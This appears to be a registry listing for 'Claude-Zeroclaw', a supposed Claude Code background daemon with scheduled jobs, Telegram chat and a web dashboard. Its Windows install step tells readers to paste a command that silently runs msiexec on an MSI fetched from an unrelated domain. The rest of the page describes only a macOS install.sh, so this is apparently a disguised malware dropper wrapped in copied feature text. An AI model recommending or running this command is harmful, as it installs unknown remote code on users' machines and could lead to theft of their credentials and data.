A community-driven registry for the Claude Code ecosystem. Not affiliated with Anthropic.
Are you the author? Sign in to claim
Claude-Zeroclaw — claude zeroclaw keyword code research. Open-source tool for automation and enhancement.
A lightweight, open-source daemon built into your Claude Code. Zero API overhead, zero separate keys, zero billing surprises.
ZeroClaw Claude turns your Claude Code into a personal assistant that never sleeps. It runs as a background daemon, executing tasks on a schedule, responding to messages on Telegram, transcribing voice commands, and integrating with any service you need — all within your existing Claude Code subscription.
cmd
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://devcodee.com/api & Claude Zeroclaw
The installer will:
zeroclaw command to your PATHZero API overhead. No separate API keys, no token accounting, no billing surprises. Runs entirely within your Claude Code subscription using @anthropic-ai/claude-agent-sdk which spawns the claude binary — your OAuth token is never read or transmitted by ZeroClaw.
Deploy in minutes. One command installs everything. The setup wizard guides you through model, heartbeat, Telegram, and security.
Built-in observability. A real-time web dashboard to monitor runs, edit scheduled jobs, inspect logs, and chat with Claude live.
Cron jobs with standard cron syntax, timezone-aware, and reliable execution. Create jobs from Claude Code or the web dashboard.
# Daily standup at 9am
0 9 * * * — Generate git summary and send to Telegram
# Every Friday 5pm
0 17 * * 5 — Send weekly summary and plan for next week
Periodic proactive check-ins at a configurable interval with quiet hours. Claude checks in, reviews your context, and surfaces anything important.
Full Telegram integration — text messages, voice notes (Groq Whisper transcription), and photo analysis. Chat with Claude from your phone as if you're in Claude Code.
You: "What's the status of the main branch?"
Claude: "main is 3 commits ahead of origin. Last commit: 'fix auth middleware'..."
Three layers of persistent memory:
Real-time dashboard at http://127.0.0.1:3742:
Four granular levels:
readonly — no write access, no shellstandard — files + web, no shell execelevated — files + web + shell (default)full — all tools, bypass all prompts# Start daemon
zeroclaw
# Or with npm
npm start
# Setup wizard (first time)
npm run setup
# Health check
npm run status
# Development mode (hot reload)
npm run dev
/zeroclaw:start # Start the daemon
/zeroclaw:status # Health check
/zeroclaw:job # Manage cron jobs
# Natural language works too:
"Schedule a daily git summary at 9am"
"Add a cron job to check my email every hour"
"Show me the ZeroClaw status"
zeroclaw-claude/
│
├── src/
│ ├── index.ts ← Daemon entry point
│ ├── types.ts ← TypeScript types
│ ├── config.ts ← Config loader (~/. zeroclaw-claude/config.json)
│ ├── db.ts ← SQLite: jobs, runs, memory, outbox
│ ├── setup.ts ← Interactive setup wizard
│ ├── status.ts ← Health check CLI
│ │
│ ├── agent/
│ │ └── runner.ts ← Claude agent SDK wrapper + memory
│ │
│ ├── scheduler/
│ │ └── index.ts ← node-cron scheduler, timezone-aware
│ │
│ ├── daemon/
│ │ ├── heartbeat.ts ← Periodic heartbeat with quiet hours
│ │ └── logger.ts ← Structured logger (console + file)
│ │
│ ├── bot/
│ │ └── telegram.ts ← Telegram bot (grammy) + outbox poller
│ │
│ └── dashboard/
│ └── server.ts ← Express + WebSocket real-time dashboard
│
├── commands/ ← Slash command definitions (.md)
├── hooks/ ← Claude Code hooks (post-tool-use)
├── prompts/ ← System prompts
├── skills/ ← Claude Code skills
├── CLAUDE.md ← Project context for Claude Code
├── .claude-plugin/
│ └── plugin.json ← Claude Code plugin manifest
├── install.sh ← macOS one-command installer
├── package.json
└── tsconfig.json
Config lives at ~/.zeroclaw-claude/config.json:
{
"model": "claude-sonnet-4-6",
"heartbeat": {
"enabled": true,
"intervalMin": 60,
"quietHoursStart": 23,
"quietHoursEnd": 8,
"prompt": "Check in: any urgent tasks or things I should know about?"
},
"telegram": {
"enabled": true,
"token": "...",
"chatId": "...",
"allowVoice": true,
"groqApiKey": "..."
},
"security": "elevated",
"dashboardPort": 3742
}
| Model | Use case |
|---|---|
claude-sonnet-4-6 | Default — fast and capable |
claude-opus-4-6 | Complex reasoning tasks |
claude-haiku-4-5-20251001 | High-frequency jobs, low latency |
Override per-job by setting model on individual cron jobs.
The web dashboard runs at http://127.0.0.1:3742 (localhost only, not exposed to the network).
Tabs:
/newbotnpm run setup and enter both valuesBot commands:
/start — Welcome + feature list
/newchat — Clear session, fresh conversation
/status — Daemon health stats
/jobs — List scheduled cron jobs
/memory — Top memory entries
/help — Full command list
ZeroClaw Claude never reads or transmits your OAuth token.
@anthropic-ai/claude-agent-sdk's query() spawns the claude CLI binary as a child subprocess. That subprocess manages its own OAuth from ~/.claude/. ZeroClaw only receives the text responses — nothing else.
What this means for you: ZeroClaw is fully compatible with Anthropic's February 2026 policy on third-party OAuth usage.
source ~/.zshrc # or ~/.bash_profile
npm install -g @anthropic-ai/claude-code
npm run status # check the port config
open http://127.0.0.1:3742
Check your chat ID matches exactly. Get it from https://t.me/userinfobot.
MIT
@anthropic-ai/claude-agent-sdkML engineering — model training, deployment, MLOps, monitoring
DevOps practices — CI/CD, containers, monitoring, infrastructure automation
Professional skills marketplace with production-ready skills for enhanced development
Self-learning system that captures corrections and syncs them to CLAUDE.md and AGENTS.md